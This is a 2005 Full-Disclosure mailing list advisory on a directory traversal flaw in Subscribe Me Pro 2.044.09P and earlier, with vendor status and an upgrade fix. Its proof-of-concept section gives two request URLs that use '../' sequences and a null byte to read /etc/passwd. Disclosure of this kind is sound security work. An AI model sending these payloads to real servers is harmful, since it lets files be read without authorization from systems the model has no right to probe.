full-disclosure - Subscribe Me Pro 2.044.09P and prior Directory Traversal Vulnerability (Updated)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <68cbfab105091306411e94a3d4@mail.gmail.com>
Date: Tue Sep 13 14:41:42 2005
From: h4cky0u.org at gmail.com (h4cky0u)
Subject: Subscribe Me Pro 2.044.09P and prior Directory
	Traversal Vulnerability (Updated)

------------------------------------------------------
HYA-2005-006 h4cky0u.org <http://h4cky0u.org> Advisory 007
------------------------------------------------------
Date - Tue Sep 13 2005


TITLE:
======

Subscribe Me Pro 2.044.09P and prior Directory Traversal Vulnerability


SEVERITY:
=========

High


SOFTWARE:
=========

Subscribe Me Pro 2.044.09P and prior

Support Website : http://siteinteractive.com/subpro/


INFO:
=====

Subscribe Me Professional is designed to assist with the building, 
maintaining, mailing, and tracking of your customer/prospect mailing lists.


BUG DESCRIPTION:
================

Subscribe Me Pro 2.044.09P and prior are prone to a directory traversal 
vulnerability. This issue is due to a failure in the application to properly 
sanitize user-supplied input. An unauthorized user can retrieve arbitrary 
files by supplying directory traversal strings '../' to the vulnerable 
parameter.


POC:
====

Here are some examples:

http://www.site.com/[dir]/s.pl?e=1&subscribe=subscribe&l=../../../../../../../../etc/passwd%00&SUBMIT=%20%20Submit%20%20

http://www.site.com/[dir]/s.pl?e=enter%20your%20email%20address%20here&subscribe=subscribe&l=../../../../../../../../etc/passwd%00


VENDOR STATUS:
==============

Vendor Contact : 13th Sep 2005
Vendor Reply : 13th sep 2005 - This Vulnerability has been fixed in the 
Latest Release : 2.050.01P


FIX:
====

Upgrade to version 2.050.01P


CREDITS:
========

This vulnerability was discovered and researched by -

ShoCK FX of h4cky0u Security Forums.


mail : shockfx at gmail dot com

web : http://www.h4cky0u.org


Co Researcher -

h4cky0u of h4cky0u Security Forums.


mail : h4cky0u at gmail dot com

web : http://www.h4cky0u.org


ORIGINAL ADVISORY:
=================

http://www.h4cky0u.org/advisories/HYA-2005-007-subscribe-me-pro.txt
-- 
http://www.h4cky0u.org
(In)Security at its best...
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050913/d94696ea/attachment.html